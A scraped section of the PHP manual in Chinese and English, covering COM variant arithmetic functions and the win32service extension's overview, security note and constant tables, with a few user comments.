Both expressions are of the string, date, character, boolean type | Division and integer is returned
One expression is a string type and the other a character | Division
One expression is numeric and the other is a string | Division
Both expressions are numeric | Division
Either expression is NULL | NULL is returned
Both expressions are empty | A com_exception with code DISP_E_DIVBYZERO is thrown

错误／异常

Throws a com_exception on failure.

参见

  • variant_div() - Returns the result from dividing two variants

User Contributed Notes

There are no user contributed notes for this page.


Performs a bitwise implication on two variants

  • ? variant_idiv
  • variant_int ?
  • PHP Manual
  • COM 函数
  • Performs a bitwise implication on two variants

variant_imp

(PHP 5, PHP 7, PHP 8)

variant_imp — Performs a bitwise implication on two variants

说明

variant_imp(mixed $left, mixed $right): variant

Performs a bitwise implication operation.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Implication Table
If left is | If right is | then the result is
true | true | true
true | false | false
true | null | true
false | true | true
false | false | true
false | null | true
null | true | true
null | false | null
null | null | null

错误／异常

Throws a com_exception on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the integer portion of a variant

  • ? variant_imp
  • variant_mod ?
  • PHP Manual
  • COM 函数
  • Returns the integer portion of a variant

variant_int

(PHP 5, PHP 7, PHP 8)

variant_int — Returns the integer portion of a variant

说明

variant_int(mixed $value): variant

Gets the integer portion of a variant.

参数

value

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

If value is negative, then the first negative integer greater than or equal to the variant is returned, otherwise returns the integer portion of the value of value.

错误／异常

Throws a com_exception on failure.

参见

  • variant_fix() - Returns the integer portion of a variant
  • variant_round() - Rounds a variant to the specified number of decimal places
  • floor() - 舍去法取整
  • ceil() - 进一法取整
  • round() - 对浮点数进行四舍五入

User Contributed Notes

There are no user contributed notes for this page.


Divides two variants and returns only the remainder

  • ? variant_int
  • variant_mul ?
  • PHP Manual
  • COM 函数
  • Divides two variants and returns only the remainder

variant_mod

(PHP 5, PHP 7, PHP 8)

variant_mod — Divides two variants and returns only the remainder

说明

variant_mod(mixed $left, mixed $right): variant

Divides left by right and returns the remainder.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the remainder of the division.

错误／异常

Throws a com_exception on failure.

参见

  • variant_div() - Returns the result from dividing two variants
  • variant_idiv() - Converts variants to integers and then returns the result from dividing them

User Contributed Notes

There are no user contributed notes for this page.


Multiplies the values of the two variants

  • ? variant_mod
  • variant_neg ?
  • PHP Manual
  • COM 函数
  • Multiplies the values of the two variants

variant_mul

(PHP 5, PHP 7, PHP 8)

variant_mul — Multiplies the values of the two variants

说明

variant_mul(mixed $left, mixed $right): variant

Multiplies left by right.

参数

left

The left operand.

right

The right operand.

Boolean values are converted to -1 for false and 0 for true.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Multiplication Rules
If | Then
Both expressions are of the string, date, character, boolean type | Multiplication
One expression is a string type and the other a character | Multiplication
One expression is numeric and the other is a string | Multiplication
Both expressions are numeric | Multiplication
Either expression is NULL | NULL is returned
Both expressions are empty | Empty string is returned

错误／异常

Throws a com_exception on failure.

参见

  • variant_div() - Returns the result from dividing two variants
  • variant_idiv() - Converts variants to integers and then returns the result from dividing them

User Contributed Notes

There are no user contributed notes for this page.


Performs logical negation on a variant

  • ? variant_mul
  • variant_not ?
  • PHP Manual
  • COM 函数
  • Performs logical negation on a variant

variant_neg

(PHP 5, PHP 7, PHP 8)

variant_neg — Performs logical negation on a variant

说明

variant_neg(mixed $value): variant

Performs logical negation of value.

参数

value

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the result of the logical negation.

错误／异常

Throws a com_exception on failure.

User Contributed Notes

There are no user contributed notes for this page.


Performs bitwise not negation on a variant

  • ? variant_neg
  • variant_or ?
  • PHP Manual
  • COM 函数
  • Performs bitwise not negation on a variant

variant_not

(PHP 5, PHP 7, PHP 8)

variant_not — Performs bitwise not negation on a variant

说明

variant_not(mixed $value): variant

Performs bitwise not negation on value and returns the result.

参数

value

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the bitwise not negation. If value is null, the result will also be null.

错误／异常

Throws a com_exception on failure.

User Contributed Notes

There are no user contributed notes for this page.


Performs a logical disjunction on two variants

  • ? variant_not
  • variant_pow ?
  • PHP Manual
  • COM 函数
  • Performs a logical disjunction on two variants

variant_or

(PHP 5, PHP 7, PHP 8)

variant_or — Performs a logical disjunction on two variants

说明

variant_or(mixed $left, mixed $right): variant

Performs a bitwise OR operation. Note that this is slightly different from a regular OR operation.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant OR Rules
If left is | If right is | then the result is
true | true | true
true | false | true
true | null | true
false | true | true
false | false | false
false | null | null
null | true | true
null | false | null
null | null | null

错误／异常

Throws a com_exception on failure.

参见

  • variant_and() - Performs a bitwise AND operation between two variants
  • variant_xor() - Performs a logical exclusion on two variants

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of performing the power function with two variants

  • ? variant_or
  • variant_round ?
  • PHP Manual
  • COM 函数
  • Returns the result of performing the power function with two variants

variant_pow

(PHP 5, PHP 7, PHP 8)

variant_pow — Returns the result of performing the power function with two variants

说明

variant_pow(mixed $left, mixed $right): variant

Returns the result of left to the power of right.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the result of left to the power of right.

错误／异常

Throws a com_exception on failure.

参见

  • pow() - 指数表达式

User Contributed Notes

There are no user contributed notes for this page.


Rounds a variant to the specified number of decimal places

  • ? variant_pow
  • variant_set_type ?
  • PHP Manual
  • COM 函数
  • Rounds a variant to the specified number of decimal places

variant_round

(PHP 5, PHP 7, PHP 8)

variant_round — Rounds a variant to the specified number of decimal places

说明

variant_round(mixed $value, int $decimals): ?variant

Returns the value of value rounded to decimals decimal places.

参数

value

The variant.

decimals

Number of decimal places.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the rounded value, or null on failure.

参见

  • round() - 对浮点数进行四舍五入

User Contributed Notes

There are no user contributed notes for this page.


Convert a variant into another type "in-place"

  • ? variant_round
  • variant_set ?
  • PHP Manual
  • COM 函数
  • Convert a variant into another type "in-place"

variant_set_type

(PHP 5, PHP 7, PHP 8)

variant_set_type — Convert a variant into another type "in-place"

说明

variant_set_type(variant $variant, int $type): void

This function is similar to variant_cast() except that the variant is modified "in-place"; no new variant is created. The parameters for this function have identical meaning to those of variant_cast().

参数

variant

The variant.

type

返回值

没有返回值。

参见

  • variant_cast() - Convert a variant into a new variant object of another type
  • variant_get_type() - Returns the type of a variant object

User Contributed Notes

martin at itmission dot com 22-May-2009 10:55
In my application I was using ADODB to retrieve data from Microsoft Access.  During queries, fields defined as "Date/Time" in Access were being returned to PHP as instances of the Variant class.

For some reason, the variant_date_to_timestamp function returned incorrect timestamps.  As a workaround, I used variant_set_type($variant, VT_BSTR) to get a string representation of the date.  This can be used for most variant types PHP doesn't handle.


Assigns a new value for a variant object

  • ? variant_set_type
  • variant_sub ?
  • PHP Manual
  • COM 函数
  • Assigns a new value for a variant object

variant_set

(PHP 5, PHP 7, PHP 8)

variant_set — Assigns a new value for a variant object

说明

variant_set(variant $variant, mixed $value): void

Converts value to a variant and assigns it to the variant object; no new variant object is created, and the old value of variant is freed/released.

参数

variant

The variant.

value

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Subtracts the value of the right variant from the left variant value

  • ? variant_set
  • variant_xor ?
  • PHP Manual
  • COM 函数
  • Subtracts the value of the right variant from the left variant value

variant_sub

(PHP 5, PHP 7, PHP 8)

variant_sub — Subtracts the value of the right variant from the left variant value

说明

variant_sub(mixed $left, mixed $right): variant

Subtracts right from left.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant Subtraction Rules
If | Then
Both expressions are of the string type | Subtraction
One expression is a string type and the other a character | Subtraction
One expression is numeric and the other is a string | Subtraction.
Both expressions are numeric | Subtraction
Either expression is NULL | NULL is returned
Both expressions are empty | Empty string is returned

错误／异常

Throws a com_exception on failure.

参见

  • variant_add() - "Adds" two variant values together and returns the result

User Contributed Notes

There are no user contributed notes for this page.


Performs a logical exclusion on two variants

  • ? variant_sub
  • win32service ?
  • PHP Manual
  • COM 函数
  • Performs a logical exclusion on two variants

variant_xor

(PHP 5, PHP 7, PHP 8)

variant_xor — Performs a logical exclusion on two variants

说明

variant_xor(mixed $left, mixed $right): variant

Performs a logical exclusion.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 null），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造variant类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant XOR Rules
If left is | If right is | then the result is
true | true | false
true | false | true
false | true | true
false | false | false
null | null | null

错误／异常

Throws a com_exception on failure.

参见

  • variant_or() - Performs a logical disjunction on two variants
  • variant_and() - Performs a bitwise AND operation between two variants

User Contributed Notes

tinelbarb at yahoo dot com 30-Aug-2010 12:21
I've been using a lot the VARIANT_XOR function (all the VARIANT functions ar cool) and I was faceing the problem that some custom copilation of PHP, especially LAMP packs, doesn't have the VARANT functions included, so the scripts halts.
I had to find an alternative for those who doesn't have an implamentation of VARIANT_XOR.
I'd love if somebody improve my "A_XOR_B" function by changing the name in "VARIANT_XOR" and to run the original VARIANT_XOR function (being optimized) if it is already in the PHP compilation, else run the custom XOR code.

<?php
function a_xor_b($a=0, $b=0) {
    return ( ($a!=$b) && ($a||$b) ) ? TRUE : FALSE ;
}
?>

If using this function, make sure you use the same type for arguments ;-)

Here is a sample code using it:

<?php
if ( a_xor_b(strlen($column1)>0,strlen($column2)>0) ) {
  $add_and='';
}
if ( !a_xor_b(strlen($column1)>0,strlen($column2)>0 ) && strlen($column1)>0 ) {
  $add_and=' and ';
}
$some_sql_filter=$query_str.' having '.$column1.$add_and.$column2;
?>

The use of VARIANT_XOR was identical.

@PHP TEAM: the VARIANT set is so great :-)
tinelbarb at yahoo dot com 30-Aug-2010 12:20
I've been using a lot the VARIANT_XOR function (all the VARIANT functions ar cool) and I was faceing the problem that some custom copilation of PHP, especially LAMP packs, doesn't have the VARANT functions included, so the scripts halts.
I had to find an alternative for those who doesn't have an implamentation of VARIANT_XOR.
I'd love if somebody improve my "A_XOR_B" function by changing the name in "VARIANT_XOR" and to run the original VARIANT_XOR function (being optimized) if it is already in the PHP compilation, else run the custom XOR code.

<?php
function a_xor_b($a=0, $b=0) {
    return ( ($a!=$b) && ($a||$b) ) ? TRUE : FALSE ;
}
?>

If using this function, make sure you use the same type for arguments ;-)

Here is a sample code using it:

<?php
if ( a_xor_b(strlen($column1)>0,strlen($column2)>0) ) {
  $add_and='';
}
if ( !a_xor_b(strlen($column1)>0,strlen($column2)>0 ) && strlen($column1)>0 ) {
  $add_and=' and ';
}
$some_sql_filter=$query_str.' having '.$column1.$add_and.$column2;
?>

The use of VARIANT_XOR was identical.

@PHP TEAM: the VARIANT set is so great :-)
tinelbarb at yahoo dot com dot RE-MO-VE dot ME 30-Aug-2010 12:20
I've been using a lot the VARIANT_XOR function (all the VARIANT functions ar cool) and I was faceing the problem that some custom copilation of PHP, especially LAMP packs, doesn't have the VARANT functions included, so the scripts halts.
I had to find an alternative for those who doesn't have an implamentation of VARIANT_XOR.
I'd love if somebody improve my "A_XOR_B" function by changing the name in "VARIANT_XOR" and to run the original VARIANT_XOR function (being optimized) if it is already in the PHP compilation, else run the custom XOR code.

<?php
function a_xor_b($a=0, $b=0) {
    return ( ($a!=$b) && ($a||$b) ) ? TRUE : FALSE ;
}
?>

If using this function, make sure you use the same type for arguments ;-)

Here is a sample code using it:

<?php
if ( a_xor_b(strlen($column1)>0,strlen($column2)>0) ) {
  $add_and='';
}
if ( !a_xor_b(strlen($column1)>0,strlen($column2)>0 ) && strlen($column1)>0 ) {
  $add_and=' and ';
}
$some_sql_filter=$query_str.' having '.$column1.$add_and.$column2;
?>

The use of VARIANT_XOR was identical.

@PHP TEAM: the VARIANT set is so great :-)


win32service

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
    • Security consideration
  • 预定义常量
    • Win32Service Service Type Bitmasks
    • Win32Service Service Status Constants
    • Win32Service Service Control Message Constants
    • Win32Service Service Control Message Accepted Bitmasks
    • Win32Service Service Start Type Constants
    • Win32Service Service Error Control Constants
    • Win32Service Service Flag Constants
    • Win32 Error Codes
    • Win32 Base Priority Classes
    • Win32 Recovery action
    • Win32 Service informations
  • Win32ServiceException — The Win32ServiceException class
  • 示例
  • win32service 函数
    • win32_continue_service — Resumes a paused service
    • win32_create_service — Creates a new service entry in the SCM database
    • win32_delete_service — Deletes a service entry from the SCM database
    • win32_get_last_control_message — Returns the last control message that was sent to this service
    • win32_pause_service — Pauses a service
    • win32_query_service_status — Queries the status of a service
    • win32_send_custom_control — Send a custom control to the service
    • win32_set_service_exit_code — Define or return the exit code for the current running service
    • win32_set_service_exit_mode — Define or return the exit mode for the current running service
    • win32_set_service_status — Update the service status
    • win32_start_service_ctrl_dispatcher — Registers the script with the SCM, so that it can act as the service with the given name
    • win32_start_service — Starts a service
    • win32_stop_service — Stops a service

User Contributed Notes

jbnahan at php dot net 12-Jun-2019 11:45
The version 0.4 allow now to send and receive a custom control code.


简介

The win32service extension is a Windows specific extension that allows PHP to communicate with the Service Control Manager to start, stop, register and unregister services, and even allows your PHP scripts to run as a service.

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型
  • Security consideration

User Contributed Notes

There are no user contributed notes for this page.


需求

The versions of Windows supported are the same as the Visual C++ redistributable package used to build PHP.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/win32service

User Contributed Notes

alphp 10-Jan-2017 03:08
Para actualizar esta extensión a PHP-7 se está trabajando en https://github.com/win32service/win32service
Ya ha disponibles algunos binarios para poder probar.

To update this extension to PHP-7 is working at https://github.com/win32service/win32service
Some binaries have already been available for testing.


Security consideration

This extension needs administrator privileges for some actions such as create, delete, start, stop, pause and continue. This requirement can cause an elevation of privileges if the service control is available from the web interface or remote control.

You can set the ACL on the service after adding it into SCM to delegate the current administration tasks to an non administrator account or service account. For further instructions, see the » Microsoft Knowledge Base.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

Table of Contents

  • Win32Service Service Type Bitmasks
  • Win32Service Service Status Constants
  • Win32Service Service Control Message Constants
  • Win32Service Service Control Message Accepted Bitmasks
  • Win32Service Service Start Type Constants
  • Win32Service Service Error Control Constants
  • Win32Service Service Flag Constants
  • Win32 Error Codes
  • Win32 Base Priority Classes
  • Win32 Recovery action
  • Win32 Service informations

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Type Bitmasks

  • ? 预定义常量
  • Win32Service Service Status Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Type Bitmasks
Win32Service Service Type Bitmasks
Constant | Value | Description
WIN32_SERVICE_WIN32_OWN_PROCESS | 0x00000010 | The service runs in its own process.
WIN32_SERVICE_INTERACTIVE_PROCESS | 0x00000100 | The service can interact with the desktop. This option is not available on Windows Vista or later.
WIN32_SERVICE_WIN32_OWN_PROCESS_INTERACTIVE | 0x00000110 | The service runs in its own process and can interact with the desktop. This option is not available on Windows Vista or later.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Status Constants

  • ? Win32Service Service Type Bitmasks
  • Win32Service Service Control Message Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Status Constants
Win32Service Service Status Constants
Constant | Value | Description
WIN32_SERVICE_CONTINUE_PENDING | 0x00000005 | The service continue is pending.
WIN32_SERVICE_PAUSE_PENDING | 0x00000006 | The service pause is pending.
WIN32_SERVICE_PAUSED | 0x00000007 | The service is paused.
WIN32_SERVICE_RUNNING | 0x00000004 | The service is running.
WIN32_SERVICE_START_PENDING | 0x00000002 | The service is starting.
WIN32_SERVICE_STOP_PENDING | 0x00000003 | The service is stopping.
WIN32_SERVICE_STOPPED | 0x00000001 | The service is not running.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Control Message Constants

  • ? Win32Service Service Status Constants
  • Win32Service Service Control Message Accepted Bitmasks ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Control Message Constants
Win32Service Service Control Message Constants
Constant | Value | Description
WIN32_SERVICE_CONTROL_CONTINUE | 0x00000003 | Notifies a paused service that it should resume.
WIN32_SERVICE_CONTROL_DEVICEEVENT | 0x0000000B |
WIN32_SERVICE_CONTROL_HARDWAREPROFILECHANGE | 0x0000000C |
WIN32_SERVICE_CONTROL_INTERROGATE | 0x00000004 | Notifies a service that it should report its current status information to the service control manager.
WIN32_SERVICE_CONTROL_NETBINDADD | 0x00000007 | Notifies a network service that there is a new component for binding.
WIN32_SERVICE_CONTROL_NETBINDDISABLE | 0x0000000A | Notifies a network service that one of its bindings has been disabled.
WIN32_SERVICE_CONTROL_NETBINDENABLE | 0x00000009 | Notifies a network service that a disabled binding has been enabled.
WIN32_SERVICE_CONTROL_NETBINDREMOVE | 0x00000008 | Notifies a network service that a component for binding has been removed.
WIN32_SERVICE_CONTROL_PARAMCHANGE | 0x00000006 | Notifies a service that its startup parameters have changed.
WIN32_SERVICE_CONTROL_PAUSE | 0x00000002 | Notifies a service that it should pause.
WIN32_SERVICE_CONTROL_POWEREVENT | 0x0000000D |
WIN32_SERVICE_CONTROL_PRESHUTDOWN | 0x0000000F | Notifies a service that the system will be shutting down. A service that handles this notification blocks system shutdown until the service stops or the preshutdown time-out interval expires. This value is not supported by Windows Server 2003 and Windows XP/2000.
WIN32_SERVICE_CONTROL_SESSIONCHANGE | 0x0000000E |
WIN32_SERVICE_CONTROL_SHUTDOWN | 0x00000005 | Notifies a service that the system is shutting down so the service can perform cleanup tasks. If a service accepts this control code, it must stop after it performs its cleanup tasks. After the SCM sends this control code, it will not send other control codes to the service.
WIN32_SERVICE_CONTROL_STOP | 0x00000001 | Notifies a service that it should stop.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Control Message Accepted Bitmasks

  • ? Win32Service Service Control Message Constants
  • Win32Service Service Start Type Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Control Message Accepted Bitmasks
Win32Service Service Control Message Accepted Bitmasks
Constant | Value | Description
WIN32_SERVICE_ACCEPT_HARDWAREPROFILECHANGE | 0x00000020 | The service is notified when the computer's hardware profile has changed. This enables the system to send WIN32_SERVICE_CONTROL_HARDWAREPROFILECHANGE notifications to the service.
WIN32_SERVICE_ACCEPT_NETBINDCHANGE | 0x00000010 | The service is a network component that can accept changes in its binding without being stopped and restarted. This control code allows the service to receive WIN32_SERVICE_CONTROL_NETBINDADD, WIN32_SERVICE_CONTROL_NETBINDREMOVE, WIN32_SERVICE_CONTROL_NETBINDENABLE, and WIN32_SERVICE_CONTROL_NETBINDDISABLE notifications.
WIN32_SERVICE_ACCEPT_PARAMCHANGE | 0x00000008 | The service can reread its startup parameters without being stopped and restarted. This control code allows the service to receive WIN32_SERVICE_CONTROL_PARAMCHANGE notifications.
WIN32_SERVICE_ACCEPT_PAUSE_CONTINUE | 0x00000002 | The service can be paused and continued. This control code allows the service to receive WIN32_SERVICE_CONTROL_PAUSE and WIN32_SERVICE_CONTROL_CONTINUE notifications.
WIN32_SERVICE_ACCEPT_POWEREVENT | 0x00000040 | The service is notified when the computer's power status has changed. This enables the system to send WIN32_SERVICE_CONTROL_POWEREVENT notifications to the service.
WIN32_SERVICE_ACCEPT_PRESHUTDOWN | 0x00000100 | The service can perform preshutdown tasks. This control code enables the service to receive WIN32_SERVICE_CONTROL_PRESHUTDOWN notifications. This value is not supported by Windows Server 2003 and Windows XP/2000.
WIN32_SERVICE_ACCEPT_SESSIONCHANGE | 0x00000080 | The service is notified when the computer's session status has changed. This enables the system to send WIN32_SERVICE_CONTROL_SESSIONCHANGE notifications to the service. Windows 2000: This value is not supported
WIN32_SERVICE_ACCEPT_SHUTDOWN | 0x00000004 | The service is notified when system shutdown occurs. This control code allows the service to receive WIN32_SERVICE_CONTROL_SHUTDOWN notifications.
WIN32_SERVICE_ACCEPT_STOP | 0x00000001 | The service can be stopped. This control code allows the service to receive WIN32_SERVICE_CONTROL_STOP notifications.
WIN32_SERVICE_ACCEPT_TIMECHANGE | 0x00000200 | The service is notified when the system time has changed. This enables the system to send WIN32_SERVICE_CONTROL_TIMECHANGE notifications to the service. Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP/2000: This control code is not supported.
WIN32_SERVICE_ACCEPT_TRIGGEREVENT | 0x00000400 | The service is notified when an event for which the service has registered occurs. This enables the system to send WIN32_SERVICE_CONTROL_TRIGGEREVENT notifications to the service. Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP/2000: This control code is not supported.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Start Type Constants

  • ? Win32Service Service Control Message Accepted Bitmasks
  • Win32Service Service Error Control Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Start Type Constants
Win32Service Service Start Type Constants
Constant | Value | Description
WIN32_SERVICE_BOOT_START | 0x00000000 | A device driver started by the system loader. This value is valid only for driver services.
WIN32_SERVICE_SYSTEM_START | 0x00000001 | A device driver started by the IoInitSystem function. This value is valid only for driver services.
WIN32_SERVICE_AUTO_START | 0x00000002 | A service started automatically by the service control manager during system startup.
WIN32_SERVICE_DEMAND_START | 0x00000003 | A service started by the service control manager when a process calls the StartService function.
WIN32_SERVICE_DISABLED | 0x00000004 | A service that cannot be started. Attempts to start the service result in the error code WIN32_ERROR_SERVICE_DISABLED.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Error Control Constants

  • ? Win32Service Service Start Type Constants
  • Win32Service Service Flag Constants ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Error Control Constants
Win32Service Service Error Control Constants
Constant | Value | Description
WIN32_SERVICE_ERROR_IGNORE | 0x00000000 | The startup program ignores the error and continues the startup operation.
WIN32_SERVICE_ERROR_NORMAL | 0x00000001 | The startup program logs the error in the event log but continues the startup operation.
WIN32_SERVICE_ERROR_SEVERE | 0x00000002 | The startup program logs the error in the event log. If the last-known-good configuration is being started, the startup operation continues. Otherwise, the system is restarted with the last-known-good configuration.
WIN32_SERVICE_ERROR_CRITICAL | 0x00000003 | The startup program logs the error in the event log, if possible. If the last-known-good configuration is being started, the startup operation fails. Otherwise, the system is restarted with the last-known good configuration.

User Contributed Notes

There are no user contributed notes for this page.


Win32Service Service Flag Constants

  • ? Win32Service Service Error Control Constants
  • Win32 Error Codes ?
  • PHP Manual
  • 预定义常量
  • Win32Service Service Flag Constants
Win32Service Service Flag Constants
Constant | Value | Description
WIN32_SERVICE_RUNS_IN_SYSTEM_PROCESS | 0x00000001 | The service runs in a system process that must always be running.

User Contributed Notes

There are no user contributed notes for this page.


Win32 Error Codes

  • ? Win32Service Service Flag Constants
  • Win32 Base Priority Classes ?
  • PHP Manual
  • 预定义常量
  • Win32 Error Codes

Note:

These constants are no longer in use as of Win32Service 1.0.0.

Win32 Error Codes
Constant | Value | Description
WIN32_ERROR_ACCESS_DENIED | 0x00000005 | The handle to the SCM database does not have the appropriate access rights.
WIN32_ERROR_CIRCULAR_DEPENDENCY | 0x00000423 | A circular service dependency was specified.
WIN32_ERROR_DATABASE_DOES_NOT_EXIST | 0x00000429 | The specified database does not exist.
WIN32_ERROR_DEPENDENT_SERVICES_RUNNING | 0x0000041B | The service cannot be stopped because other running services are dependent on it.
WIN32_ERROR_DUPLICATE_SERVICE_NAME | 0x00000436 | The display name already exists in the service control manager database either as a service name or as another display name.
WIN32_ERROR_FAILED_SERVICE_CONTROLLER_CONNECT | 0x00000427 | This error is returned if the program is being run as a console application rather than as a service. If the program will be run as a console application for debugging purposes, structure it such that service-specific code is not called.
WIN32_ERROR_INSUFFICIENT_BUFFER | 0x0000007A | The buffer is too small for the service status structure. Nothing was written to the structure.
WIN32_ERROR_INVALID_DATA | 0x0000000D | The specified service status structure is invalid.
WIN32_ERROR_INVALID_HANDLE | 0x00000006 | The handle to the specified service control manager database is invalid.
WIN32_ERROR_INVALID_LEVEL | 0x0000007C | The InfoLevel parameter contains an unsupported value.
WIN32_ERROR_INVALID_NAME | 0x0000007B | The specified service name is invalid.
WIN32_ERROR_INVALID_PARAMETER | 0x00000057 | A parameter that was specified is invalid.
WIN32_ERROR_INVALID_SERVICE_ACCOUNT | 0x00000421 | The user account name specified in the user parameter does not exist. See win32_create_service().
WIN32_ERROR_INVALID_SERVICE_CONTROL | 0x0000041C | The requested control code is not valid, or it is unacceptable to the service.
WIN32_ERROR_PATH_NOT_FOUND | 0x00000003 | The service binary file could not be found.
WIN32_ERROR_SERVICE_ALREADY_RUNNING | 0x00000420 | An instance of the service is already running.
